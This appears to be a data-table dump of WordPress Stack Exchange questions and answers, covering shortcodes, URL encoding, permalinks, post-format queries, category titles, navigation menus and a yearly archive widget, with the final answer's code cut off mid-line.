qid
int64 4
8.14M
| question
stringlengths 20
48.3k
| answers
list | date
stringlengths 10
10
| metadata
list | input
stringlengths 12
45k
| output
stringlengths 2
31.8k
|
---|---|---|---|---|---|---|
301,865 | <p>I'm setting up a wordpress site for someone who is going to be continually editing and expanding the pages. Right now we have sometimes up to 50 images per page all manually labeled "figure x.x". He wants to be able to add images and have the page automatically renumber the figures so that he doesn't have to update all of the figures each time he adds one. I've read that you can do this through CSS, but he also wants references to the figures in the text update in turn. So that if we have a moment in the text that says, "see figure 1.27" with a link to figure 1.27 it will change if figure 1.27 becomes 1.28, for example.</p>
<p>Is that possible? I haven't found anyone who has done something like this through my searches, but if you know of something that might help, please let me know.</p>
<p>Thank you so much.</p>
| [
{
"answer_id": 301848,
"author": "Shameem Ali",
"author_id": 137710,
"author_profile": "https://wordpress.stackexchange.com/users/137710",
"pm_score": -1,
"selected": false,
"text": "<p>See: <a href=\"http://codex.wordpress.org/Function_Reference/is_home\" rel=\"nofollow noreferrer\">http://codex.wordpress.org/Function_Reference/is_home</a></p>\n\n<pre><code><?php if(is_home()): ?>\n\n <div>Your div.</div>\n\n<?php endif;?>\n</code></pre>\n"
},
{
"answer_id": 301849,
"author": "Maan",
"author_id": 24762,
"author_profile": "https://wordpress.stackexchange.com/users/24762",
"pm_score": 2,
"selected": true,
"text": "<p>Thank you guys for quick response.\nHere is the code that worked for me.</p>\n\n<pre><code><?php if( is_home() != '' && !is_paged()) { ?>\n div here\n<?php } ?>\n</code></pre>\n"
}
]
| 2018/04/25 | [
"https://wordpress.stackexchange.com/questions/301865",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142487/"
]
| I'm setting up a wordpress site for someone who is going to be continually editing and expanding the pages. Right now we have sometimes up to 50 images per page all manually labeled "figure x.x". He wants to be able to add images and have the page automatically renumber the figures so that he doesn't have to update all of the figures each time he adds one. I've read that you can do this through CSS, but he also wants references to the figures in the text update in turn. So that if we have a moment in the text that says, "see figure 1.27" with a link to figure 1.27 it will change if figure 1.27 becomes 1.28, for example.
Is that possible? I haven't found anyone who has done something like this through my searches, but if you know of something that might help, please let me know.
Thank you so much. | Thank you guys for quick response.
Here is the code that worked for me.
```
<?php if( is_home() != '' && !is_paged()) { ?>
div here
<?php } ?>
``` |
301,871 | <p>I have a shortcode in use at present that embeds a button on selected product pages. Upon clicking this button, the user is brought to a contact form on another page and the title of the Product from where the button was clicked is appended to the end of the contact form URL as a query string. This product title is then gleaned from the query string and auto-filled into a field labeled "products" on the contact form.</p>
<p>Code as follows:</p>
<pre><code>add_shortcode( 'dynamic_contact_button', 'button_product_page' );
function button_product_page() {
global $product;
return "href='/contact-form/?products=Product:%20" .$product->get_title(). "&#contact_form'";
}
</code></pre>
<p>This creates a URL such as:</p>
<pre><code>https://www.example.com/contact-form/?products=Product: Brown Paint - 1L&#contact_form
</code></pre>
<p>It works quite well... until a product title includes an "unsafe" character which can't be appended to the query string. For example, the apostrophe character <strong>'</strong> to denote measurement in feet in a product title - the query string gets cut where one of these appear meaning only part of the product title is carried over to the form. I'm sure there are many other unsafe characters which would cause similar issues.</p>
<p>Is there a something I can add to the code here to encode the Product title text being appended... so space becomes <em>%20</em>, an apostrophe becomes <em>%27</em>, etc. I see there is an urlencode option in PHP but my understanding is lacking on how I might implement it</p>
| [
{
"answer_id": 301873,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 2,
"selected": false,
"text": "<p>The <a href=\"https://www.php.net/manual/en/function.urlencode.php\" rel=\"nofollow noreferrer\"><code>urlencode()</code></a> function is your friend, it's a standard PHP function that encodes strings into URL valid format</p>\n"
},
{
"answer_id": 301874,
"author": "John Zenith",
"author_id": 136579,
"author_profile": "https://wordpress.stackexchange.com/users/136579",
"pm_score": 4,
"selected": true,
"text": "<p>To encode the URL, you could use the PHP <code>urlencode( $url )</code> function or use the WordPress <code>urlencode_deep( $array | $str );</code> function.</p>\n\n<pre><code>add_shortcode( 'dynamic_contact_button', 'button_product_page' );\n\nfunction button_product_page() {\n global $product;\n return urlencode( \"/contact-form/?products=Product:%20\" .$product->get_title(). \"&#contact_form\" );\n}\n</code></pre>\n\n<h1>links:</h1>\n\n<p><a href=\"https://codex.wordpress.org/Function_Reference/urlencode_deep\" rel=\"noreferrer\">WordPress - urlencode_deep</a></p>\n\n<p><a href=\"http://php.net/urlencode\" rel=\"noreferrer\">urlencode</a></p>\n"
}
]
| 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301871",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142491/"
]
| I have a shortcode in use at present that embeds a button on selected product pages. Upon clicking this button, the user is brought to a contact form on another page and the title of the Product from where the button was clicked is appended to the end of the contact form URL as a query string. This product title is then gleaned from the query string and auto-filled into a field labeled "products" on the contact form.
Code as follows:
```
add_shortcode( 'dynamic_contact_button', 'button_product_page' );
function button_product_page() {
global $product;
return "href='/contact-form/?products=Product:%20" .$product->get_title(). "&#contact_form'";
}
```
This creates a URL such as:
```
https://www.example.com/contact-form/?products=Product: Brown Paint - 1L&#contact_form
```
It works quite well... until a product title includes an "unsafe" character which can't be appended to the query string. For example, the apostrophe character **'** to denote measurement in feet in a product title - the query string gets cut where one of these appear meaning only part of the product title is carried over to the form. I'm sure there are many other unsafe characters which would cause similar issues.
Is there a something I can add to the code here to encode the Product title text being appended... so space becomes *%20*, an apostrophe becomes *%27*, etc. I see there is an urlencode option in PHP but my understanding is lacking on how I might implement it | To encode the URL, you could use the PHP `urlencode( $url )` function or use the WordPress `urlencode_deep( $array | $str );` function.
```
add_shortcode( 'dynamic_contact_button', 'button_product_page' );
function button_product_page() {
global $product;
return urlencode( "/contact-form/?products=Product:%20" .$product->get_title(). "&#contact_form" );
}
```
links:
======
[WordPress - urlencode\_deep](https://codex.wordpress.org/Function_Reference/urlencode_deep)
[urlencode](http://php.net/urlencode) |
301,884 | <p>I have the following permalink structure <strong>/%category%/blog/%postname%</strong>/.</p>
<p>I also have an archive at /blog which lists all blog posts.</p>
<p>I have one particular category for which I'd like the permalink structure to be <strong>/blog/%postname%/</strong></p>
<p>This is the code I've tried : </p>
<pre><code>add_filter( 'post_link', 'custom_permalink', 10, 3 );
function custom_permalink( $permalink, $post, $leavename ) {
$category = get_the_category($post->ID);
if ( !empty($category) && $category[0]->cat_name == "hello" ) {
$permalink = trailingslashit( home_url('/blog/'. $post->post_name
.'/' ) );
}
return $permalink;
}
</code></pre>
<p>This first part works correctly and changes the url of the post with category 'hello' to <a href="https://example/blog/post-name" rel="nofollow noreferrer">https://example/blog/post-name</a> - In the next part I'm trying to create a redirect for this url to the actual post.</p>
<pre><code>add_action('generate_rewrite_rules', 'custom_rewrite_rules');
function custom_rewrite_rules( $wp_rewrite ) {
$feed_rules = array(
'^blog/?' => 'index.php?name=$matches[1]',
);
$wp_rewrite->rules = $feed_rules + $wp_rewrite->rules;
return $wp_rewrite->rules;;
}
</code></pre>
<p>This also works and redirects the url to <a href="https://example/blog/post-name" rel="nofollow noreferrer">https://example/blog/post-name</a>
But! this url, instead of showing a single post - is showing my blog archive, so is rendering essentially the same as - <a href="https://example/blog/" rel="nofollow noreferrer">https://example/blog/</a></p>
<p>My question - why is <a href="https://example/blog/post-name" rel="nofollow noreferrer">https://example/blog/post-name</a> showing the same as <a href="https://example/blog/" rel="nofollow noreferrer">https://example/blog/</a> rather than showing the post? </p>
| [
{
"answer_id": 301873,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 2,
"selected": false,
"text": "<p>The <a href=\"https://www.php.net/manual/en/function.urlencode.php\" rel=\"nofollow noreferrer\"><code>urlencode()</code></a> function is your friend, it's a standard PHP function that encodes strings into URL valid format</p>\n"
},
{
"answer_id": 301874,
"author": "John Zenith",
"author_id": 136579,
"author_profile": "https://wordpress.stackexchange.com/users/136579",
"pm_score": 4,
"selected": true,
"text": "<p>To encode the URL, you could use the PHP <code>urlencode( $url )</code> function or use the WordPress <code>urlencode_deep( $array | $str );</code> function.</p>\n\n<pre><code>add_shortcode( 'dynamic_contact_button', 'button_product_page' );\n\nfunction button_product_page() {\n global $product;\n return urlencode( \"/contact-form/?products=Product:%20\" .$product->get_title(). \"&#contact_form\" );\n}\n</code></pre>\n\n<h1>links:</h1>\n\n<p><a href=\"https://codex.wordpress.org/Function_Reference/urlencode_deep\" rel=\"noreferrer\">WordPress - urlencode_deep</a></p>\n\n<p><a href=\"http://php.net/urlencode\" rel=\"noreferrer\">urlencode</a></p>\n"
}
]
| 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301884",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142495/"
]
| I have the following permalink structure **/%category%/blog/%postname%**/.
I also have an archive at /blog which lists all blog posts.
I have one particular category for which I'd like the permalink structure to be **/blog/%postname%/**
This is the code I've tried :
```
add_filter( 'post_link', 'custom_permalink', 10, 3 );
function custom_permalink( $permalink, $post, $leavename ) {
$category = get_the_category($post->ID);
if ( !empty($category) && $category[0]->cat_name == "hello" ) {
$permalink = trailingslashit( home_url('/blog/'. $post->post_name
.'/' ) );
}
return $permalink;
}
```
This first part works correctly and changes the url of the post with category 'hello' to <https://example/blog/post-name> - In the next part I'm trying to create a redirect for this url to the actual post.
```
add_action('generate_rewrite_rules', 'custom_rewrite_rules');
function custom_rewrite_rules( $wp_rewrite ) {
$feed_rules = array(
'^blog/?' => 'index.php?name=$matches[1]',
);
$wp_rewrite->rules = $feed_rules + $wp_rewrite->rules;
return $wp_rewrite->rules;;
}
```
This also works and redirects the url to <https://example/blog/post-name>
But! this url, instead of showing a single post - is showing my blog archive, so is rendering essentially the same as - <https://example/blog/>
My question - why is <https://example/blog/post-name> showing the same as <https://example/blog/> rather than showing the post? | To encode the URL, you could use the PHP `urlencode( $url )` function or use the WordPress `urlencode_deep( $array | $str );` function.
```
add_shortcode( 'dynamic_contact_button', 'button_product_page' );
function button_product_page() {
global $product;
return urlencode( "/contact-form/?products=Product:%20" .$product->get_title(). "&#contact_form" );
}
```
links:
======
[WordPress - urlencode\_deep](https://codex.wordpress.org/Function_Reference/urlencode_deep)
[urlencode](http://php.net/urlencode) |
301,918 | <p>I want to show 4 posts from a WordPress post type where 1 will show the post from the link format and the other 3 will be shown from another format.</p>
<p>So in this case, how to use the query or what method would be better if someone can give an idea? </p>
<p><a href="https://i.stack.imgur.com/JcbZX.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/JcbZX.png" alt="Related image"></a></p>
| [
{
"answer_id": 301920,
"author": "Minh",
"author_id": 142410,
"author_profile": "https://wordpress.stackexchange.com/users/142410",
"pm_score": 1,
"selected": false,
"text": "<p>In the loop:</p>\n\n<pre><code>while ( have_posts() ) : the_post();\n\n get_template_part( 'template-parts/content', get_post_format() );\n\nendwhile;\n</code></pre>\n\n<p>In your theme you should have a directory \"template-parts\" and have these files:</p>\n\n<pre><code>content.php\ncontent-link.php\ncontent-another_format.php\n</code></pre>\n"
},
{
"answer_id": 301925,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 1,
"selected": true,
"text": "<p>Yes, this can be done, but it's quite some work, so I'm only going to give you the outline:</p>\n\n<p>First, if you look at the last example under <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters\" rel=\"nofollow noreferrer\">taxonomy parameters of <code>wp_query</code></a> you will see that you can query post formats as a taxonomy. So you would look at something like this (untested) to get all posts in the link and quote formats:</p>\n\n<pre><code>$args = array(\n 'post_type' => 'post',\n 'tax_query' => array(\n 'relation' => 'OR',\n array(\n 'taxonomy' => 'post_format',\n 'field' => 'slug',\n 'terms' => array( 'post-format-link' ),\n ),\n array(\n 'taxonomy' => 'post_format',\n 'field' => 'slug',\n 'terms' => array( 'post-format-quote' ),\n ),\n ),\n );\n$query = new WP_Query( $args );\n</code></pre>\n\n<p>At this point, there are still two things to do: order the array so the link format post comes first, and limit the amount of posts to 1 from link and 3 from quote formats. Unfortunately, <a href=\"https://wordpress.stackexchange.com/questions/14306/using-wp-query-is-it-possible-to-orderby-taxonomy\">ordering by taxonomy in a query is not directly supported</a>. This also makes it difficult to select amounts of post per post format. The easiest way to solve this is by looping through <code>$query</code> twice using <a href=\"https://codex.wordpress.org/Function_Reference/rewind_posts\" rel=\"nofollow noreferrer\"><code>rewind_posts</code></a>:</p>\n\n<pre><code>// Get one post with format link\nwhile ($query->have_posts()) {\n $i=0;\n if (has_post_format('link') && $i<1) {\n // do your thing\n $i = $i+1;\n }\n }\n\n$query->rewind_posts();\n\n// Get three posts with format quote\nwhile ($query->have_posts()) {\n $i=0;\n if (has_post_format('quote') && $i<3) {\n // do your thing\n $i = $i+1;\n }\n }\n</code></pre>\n\n<p>Note that you would still have to add some logic to account for cases where there are not enough posts to show.</p>\n"
}
]
| 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301918",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/110238/"
]
| I want to show 4 posts from a WordPress post type where 1 will show the post from the link format and the other 3 will be shown from another format.
So in this case, how to use the query or what method would be better if someone can give an idea?
[](https://i.stack.imgur.com/JcbZX.png) | Yes, this can be done, but it's quite some work, so I'm only going to give you the outline:
First, if you look at the last example under [taxonomy parameters of `wp_query`](https://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters) you will see that you can query post formats as a taxonomy. So you would look at something like this (untested) to get all posts in the link and quote formats:
```
$args = array(
'post_type' => 'post',
'tax_query' => array(
'relation' => 'OR',
array(
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-link' ),
),
array(
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-quote' ),
),
),
);
$query = new WP_Query( $args );
```
At this point, there are still two things to do: order the array so the link format post comes first, and limit the amount of posts to 1 from link and 3 from quote formats. Unfortunately, [ordering by taxonomy in a query is not directly supported](https://wordpress.stackexchange.com/questions/14306/using-wp-query-is-it-possible-to-orderby-taxonomy). This also makes it difficult to select amounts of post per post format. The easiest way to solve this is by looping through `$query` twice using [`rewind_posts`](https://codex.wordpress.org/Function_Reference/rewind_posts):
```
// Get one post with format link
while ($query->have_posts()) {
$i=0;
if (has_post_format('link') && $i<1) {
// do your thing
$i = $i+1;
}
}
$query->rewind_posts();
// Get three posts with format quote
while ($query->have_posts()) {
$i=0;
if (has_post_format('quote') && $i<3) {
// do your thing
$i = $i+1;
}
}
```
Note that you would still have to add some logic to account for cases where there are not enough posts to show. |
301,928 | <p>I want to display different titles in category archives than the category title.</p>
<p>I have created a function with if statements for this purpose:</p>
<pre><code>function category_titles_change() {
if (is_category('name1')) { ?>
new title 1
<?php }
elseif (is_category('name2')) { ?>
new title 2
<?php }
elseif (is_category('name3')) { ?>
new title 3
<?php }
}
</code></pre>
<p>How can I use this to change the <code><title></title></code> shown in the <code><head></head></code></p>
<p>I have tried this:</p>
<pre><code>function head_category_titles_change() {
if (is_category()) { ?>
<title>
<?php category_titles_change(); ?>
</title>
<?php }}
add_action( 'wp_head', 'head_category_titles_change' );
</code></pre>
<p>But this ads a second <code><title></code> to the <code><head></code> in addition to the default title.
How can I replace the default Title in Category archives with my desired titles?</p>
| [
{
"answer_id": 301934,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": false,
"text": "<p>You shouldn't use <code>wp_head</code> action - it doesn't give you a chance to modify title that is already printed. But WordPress has special hook for that: <a href=\"https://developer.wordpress.org/reference/hooks/wp_title/\" rel=\"nofollow noreferrer\"><code>wp_title</code></a>.</p>\n\n<p>The code below should do the trick:</p>\n\n<pre><code>function my_change_category_title( $title, $sep ) {\n if ( is_category('name1') ) {\n return 'Cat 1 title';\n }\n if ( is_category('name2') ) {\n return 'Cat 2 title';\n }\n ...\n\n return $title;\n}\nadd_filter( 'wp_title', 'my_change_category_title', 10, 2 );\n</code></pre>\n\n<p>You can also try to use <a href=\"https://developer.wordpress.org/reference/hooks/pre_get_document_title/\" rel=\"nofollow noreferrer\"><code>pre_get_document_title</code></a> hook with the same filter function.</p>\n"
},
{
"answer_id": 301937,
"author": "sagar",
"author_id": 97598,
"author_profile": "https://wordpress.stackexchange.com/users/97598",
"pm_score": 2,
"selected": false,
"text": "<p>Well thank you for this question i did this after you posted this</p>\n\n<pre><code>function category_title( $title ){\nif( is_category('name1') ){\n $title = 'name1 title';\n}elseif( is_category('name2') ){\n $title = 'name2 title';\n}\nreturn $title;\n}\nadd_filter( 'get_the_archive_title', 'category_title' );\n</code></pre>\n\n<p>Hope this helps</p>\n"
}
]
| 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301928",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/80031/"
]
| I want to display different titles in category archives than the category title.
I have created a function with if statements for this purpose:
```
function category_titles_change() {
if (is_category('name1')) { ?>
new title 1
<?php }
elseif (is_category('name2')) { ?>
new title 2
<?php }
elseif (is_category('name3')) { ?>
new title 3
<?php }
}
```
How can I use this to change the `<title></title>` shown in the `<head></head>`
I have tried this:
```
function head_category_titles_change() {
if (is_category()) { ?>
<title>
<?php category_titles_change(); ?>
</title>
<?php }}
add_action( 'wp_head', 'head_category_titles_change' );
```
But this ads a second `<title>` to the `<head>` in addition to the default title.
How can I replace the default Title in Category archives with my desired titles? | You shouldn't use `wp_head` action - it doesn't give you a chance to modify title that is already printed. But WordPress has special hook for that: [`wp_title`](https://developer.wordpress.org/reference/hooks/wp_title/).
The code below should do the trick:
```
function my_change_category_title( $title, $sep ) {
if ( is_category('name1') ) {
return 'Cat 1 title';
}
if ( is_category('name2') ) {
return 'Cat 2 title';
}
...
return $title;
}
add_filter( 'wp_title', 'my_change_category_title', 10, 2 );
```
You can also try to use [`pre_get_document_title`](https://developer.wordpress.org/reference/hooks/pre_get_document_title/) hook with the same filter function. |
301,935 | <p>Currently, on my website homepage, I am using woocommerce shortcodes to display products from certain categories and have opted to show 5 products on Desktop which fits in well with the screen width...</p>
<p>However, on mobile devices, the shortcode also causes 5 products to be displayed which looks messy.</p>
<p>I was wondering if there was a way to alter the shortcode so that it may show 5 on Desktop but only 2 products on mobile devices?</p>
<p>I have tried putting all 5 in a line with overflow hidden but depending on the width of the mobile screen, there is sometimes some of the 3rd product shown which doesnt look very professional.</p>
<p>my shortcodes are of the form:</p>
<pre><code>[products limit="5" columns="5" visibility="featured" ]
</code></pre>
<ul>
<li>Shows featured products on home screen...</li>
</ul>
<p>I also have sale products as well as a few different categories products displayed, all using a similar shortcode.</p>
| [
{
"answer_id": 301934,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": false,
"text": "<p>You shouldn't use <code>wp_head</code> action - it doesn't give you a chance to modify title that is already printed. But WordPress has special hook for that: <a href=\"https://developer.wordpress.org/reference/hooks/wp_title/\" rel=\"nofollow noreferrer\"><code>wp_title</code></a>.</p>\n\n<p>The code below should do the trick:</p>\n\n<pre><code>function my_change_category_title( $title, $sep ) {\n if ( is_category('name1') ) {\n return 'Cat 1 title';\n }\n if ( is_category('name2') ) {\n return 'Cat 2 title';\n }\n ...\n\n return $title;\n}\nadd_filter( 'wp_title', 'my_change_category_title', 10, 2 );\n</code></pre>\n\n<p>You can also try to use <a href=\"https://developer.wordpress.org/reference/hooks/pre_get_document_title/\" rel=\"nofollow noreferrer\"><code>pre_get_document_title</code></a> hook with the same filter function.</p>\n"
},
{
"answer_id": 301937,
"author": "sagar",
"author_id": 97598,
"author_profile": "https://wordpress.stackexchange.com/users/97598",
"pm_score": 2,
"selected": false,
"text": "<p>Well thank you for this question i did this after you posted this</p>\n\n<pre><code>function category_title( $title ){\nif( is_category('name1') ){\n $title = 'name1 title';\n}elseif( is_category('name2') ){\n $title = 'name2 title';\n}\nreturn $title;\n}\nadd_filter( 'get_the_archive_title', 'category_title' );\n</code></pre>\n\n<p>Hope this helps</p>\n"
}
]
| 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301935",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136430/"
]
| Currently, on my website homepage, I am using woocommerce shortcodes to display products from certain categories and have opted to show 5 products on Desktop which fits in well with the screen width...
However, on mobile devices, the shortcode also causes 5 products to be displayed which looks messy.
I was wondering if there was a way to alter the shortcode so that it may show 5 on Desktop but only 2 products on mobile devices?
I have tried putting all 5 in a line with overflow hidden but depending on the width of the mobile screen, there is sometimes some of the 3rd product shown which doesnt look very professional.
my shortcodes are of the form:
```
[products limit="5" columns="5" visibility="featured" ]
```
* Shows featured products on home screen...
I also have sale products as well as a few different categories products displayed, all using a similar shortcode. | You shouldn't use `wp_head` action - it doesn't give you a chance to modify title that is already printed. But WordPress has special hook for that: [`wp_title`](https://developer.wordpress.org/reference/hooks/wp_title/).
The code below should do the trick:
```
function my_change_category_title( $title, $sep ) {
if ( is_category('name1') ) {
return 'Cat 1 title';
}
if ( is_category('name2') ) {
return 'Cat 2 title';
}
...
return $title;
}
add_filter( 'wp_title', 'my_change_category_title', 10, 2 );
```
You can also try to use [`pre_get_document_title`](https://developer.wordpress.org/reference/hooks/pre_get_document_title/) hook with the same filter function. |
301,988 | <p>I have the following function in my project:</p>
<pre><code>function cr_get_menu_items($menu_location)
{
$locations = get_nav_menu_locations();
$menu = get_term($locations[$menu_location], 'nav_menu');
return wp_get_nav_menu_items($menu->term_id);
}
</code></pre>
<p>The function is used in my theme like this:</p>
<pre><code> <?php $nav = cr_get_menu_items('navigation_menu') ?>
<?php foreach ($nav as $link): ?>
<a href="<?= $link->url ?>"><?= $link->title ?></a>
<?php endforeach; ?>
</code></pre>
<p>This currently returns all navigation items present in my menu - parent/top-level and sub navigation. I am wondering how to alter this to <strong>exclude</strong> all sub navigation items. I only want to display the parent/top-level items.</p>
| [
{
"answer_id": 301990,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>Let's take a look at <code>wp_get_nav_menu_items</code> <a href=\"https://developer.wordpress.org/reference/functions/wp_get_nav_menu_items/\" rel=\"nofollow noreferrer\">code reference</a>.</p>\n\n<p>It takes two parameters:</p>\n\n<ul>\n<li><code>$menu</code> - (int|string|WP_Term) (Required) Menu ID, slug, name, or object,</li>\n<li><code>$args</code> - (array) (Optional) Arguments to pass to get_posts().</li>\n</ul>\n\n<p>So we can use <code>get_posts</code> args in here... And if we want to get only top-level posts, then <code>post_parent</code> arg comes useful...</p>\n\n<p>So something like this should do the trick:</p>\n\n<pre><code>function cr_get_menu_items($menu_location)\n{\n $locations = get_nav_menu_locations();\n $menu = get_term($locations[$menu_location], 'nav_menu');\n return wp_get_nav_menu_items($menu->term_id, array('post_parent' => 0));\n}\n</code></pre>\n"
},
{
"answer_id": 325425,
"author": "Aness",
"author_id": 134345,
"author_profile": "https://wordpress.stackexchange.com/users/134345",
"pm_score": 1,
"selected": false,
"text": "<p>This worked for me : </p>\n\n<pre><code>function cr_get_menu_items($Your_menu_location)\n{\n $menuLocations = get_nav_menu_locations();\n $YourmenuID = $menuLocations[$Your_menu_location];\n $YourNavItems = wp_get_nav_menu_items($YourmenuID);\n} \n</code></pre>\n\n<p><code>$Your_menu_location</code> is a string variable representing the menu name like <code>'navigation_menu'</code> or <code>'primary'</code> depending on how you registered your menu in <code>functions.php</code> , The function is used in my theme like this:</p>\n\n<pre><code><?php\n $menuitems = cr_get_menu_items('navigation_menu') ;\n foreach ( (array)$menuitems as $menuitem ) \n {\n if (!$menuitem->menu_item_parent )\n echo '<a class=\"nav-link\" href=\"'.$navItem->url.'\">'.$navItem->title.' </a>';\n }\n?>\n</code></pre>\n"
}
]
| 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301988",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/115186/"
]
| I have the following function in my project:
```
function cr_get_menu_items($menu_location)
{
$locations = get_nav_menu_locations();
$menu = get_term($locations[$menu_location], 'nav_menu');
return wp_get_nav_menu_items($menu->term_id);
}
```
The function is used in my theme like this:
```
<?php $nav = cr_get_menu_items('navigation_menu') ?>
<?php foreach ($nav as $link): ?>
<a href="<?= $link->url ?>"><?= $link->title ?></a>
<?php endforeach; ?>
```
This currently returns all navigation items present in my menu - parent/top-level and sub navigation. I am wondering how to alter this to **exclude** all sub navigation items. I only want to display the parent/top-level items. | Let's take a look at `wp_get_nav_menu_items` [code reference](https://developer.wordpress.org/reference/functions/wp_get_nav_menu_items/).
It takes two parameters:
* `$menu` - (int|string|WP\_Term) (Required) Menu ID, slug, name, or object,
* `$args` - (array) (Optional) Arguments to pass to get\_posts().
So we can use `get_posts` args in here... And if we want to get only top-level posts, then `post_parent` arg comes useful...
So something like this should do the trick:
```
function cr_get_menu_items($menu_location)
{
$locations = get_nav_menu_locations();
$menu = get_term($locations[$menu_location], 'nav_menu');
return wp_get_nav_menu_items($menu->term_id, array('post_parent' => 0));
}
``` |
302,012 | <p>I am using the default widget in my sidebar Archive which currently displays the archive this way:</p>
<pre><code>Mar 2018
Feb 2018
Jan 2018
</code></pre>
<p>However, I'd like it to display this way:</p>
<pre><code>2018
March
February
January
2017
December
November
October
</code></pre>
<p>Where the months are links. How do I achieve that? What do I do to my sidebar.php file?</p>
| [
{
"answer_id": 302567,
"author": "HU is Sebastian",
"author_id": 56587,
"author_profile": "https://wordpress.stackexchange.com/users/56587",
"pm_score": 3,
"selected": true,
"text": "<p>Changing the default widget would be pretty complicated.</p>\n\n<p>However, you can write your own shortcode and function to get your desired list.</p>\n\n<p>I'm guessing you want an unordered list in your widget?</p>\n\n<p>Put this in your theme's functions.php:</p>\n\n<pre><code>add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');\n\nfunction get_archive_by_year_and_month($atts=array()){\n global $wpdb;\n $years = $wpdb->get_col(\"SELECT DISTINCT YEAR(post_date) FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC\");\n if($years){\n $rueckgabe = '<ul>';\n foreach($years as $year){\n $rueckgabe.='<li class=\"jahr\"><a href=\"'.get_year_link($year).'\">'.$year.'</a>';\n $rueckgabe.='<ul class=\"monthlist\">';\n $months = $wpdb->get_col($wpdb->prepare(\"SELECT DISTINCT MONTH(post_date) FROM $wpdb->posts WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC\",$year));\n foreach($months as $month){\n $dateObj = DateTime::createFromFormat('!m', $month);\n $monthName = $dateObj->format('F'); \n $rueckgabe.='<li class=\"month\"><a href=\"'.get_month_link($year,$month).'\">'.$monthName.'</a></li>';\n }\n $rueckgabe.='</ul>';\n $rueckgabe.='</li>';\n }\n $rueckgabe.='</ul>';\n }\n return $rueckgabe;\n}\n</code></pre>\n\n<p>Then put a Text-Widget into your sidebar and enter the shortcode:</p>\n\n<pre><code>[archive_by_year_and_month]\n</code></pre>\n\n<p>Hit save and voila: You should get your list as you desired.</p>\n\n<p>Happy Coding!</p>\n"
},
{
"answer_id": 302791,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>I'm afraid, it would be pretty hard to modify the output of original widget. It uses <code>wp_get_archives</code> function to print the archive and there is no easy way to modify this output. You could try to use <code>get_archives_link</code>, but it can get a little bit messy.</p>\n\n<p>Saying that... There is other, much simpler way - writing your own widget.</p>\n\n<p>\n\n<pre><code>class WP_Widget_ArchivesByYear extends WP_Widget {\n\n public function __construct() {\n $widget_ops = array(\n 'classname' => 'widget_archive_by_year',\n 'description' => __( 'A monthly archive of your site&#8217;s Posts displayed by year.' ),\n 'customize_selective_refresh' => true,\n );\n parent::__construct('archives_by_year', __('Archives by Year'), $widget_ops);\n }\n\n public function widget( $args, $instance ) {\n global $wpdb;\n\n $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Archives' ) : $instance['title'], $instance, $this->id_base );\n\n echo $args['before_widget'];\n if ( $title ) {\n echo $args['before_title'] . $title . $args['after_title'];\n }\n\n $years = $wpdb->get_col(\"SELECT DISTINCT YEAR(post_date) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC\");\n\n if ( $years ) :\n ?>\n <ul class=\"years-list\">\n <?php\n foreach ( $years as $year ) : \n $months = $wpdb->get_col( $wpdb->prepare(\"SELECT DISTINCT MONTH(post_date) FROM {$wpdb->posts} WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC\", $year));\n ?>\n <li class=\"year\">\n <a href=\"<?php echo get_year_link($year); ?>\"><?php echo $year ?></a>\n <ul class=\"months-list\">\n <?php\n foreach ( $months as $month ) :\n $dateObj = DateTime::createFromFormat('!m', $month);\n ?>\n <li class=\"month\">\n <a href=\"<?php echo get_month_link($year, $month); ?>\"><?php echo $dateObj->format('F'); ?></a>\n </li>\n <?php endforeach; ?>\n </ul>\n </li>\n <?php endforeach; ?> \n </ul>\n <?php\n endif;\n\n echo $args['after_widget'];\n }\n\n public function update( $new_instance, $old_instance ) {\n $instance = $old_instance;\n $new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '') );\n $instance['title'] = sanitize_text_field( $new_instance['title'] );\n\n return $instance;\n }\n\n\n public function form( $instance ) {\n $instance = wp_parse_args( (array) $instance, array( 'title' => '') );\n $title = sanitize_text_field( $instance['title'] );\n ?>\n <p><label for=\"<?php echo $this->get_field_id('title'); ?>\"><?php _e('Title:'); ?></label> <input 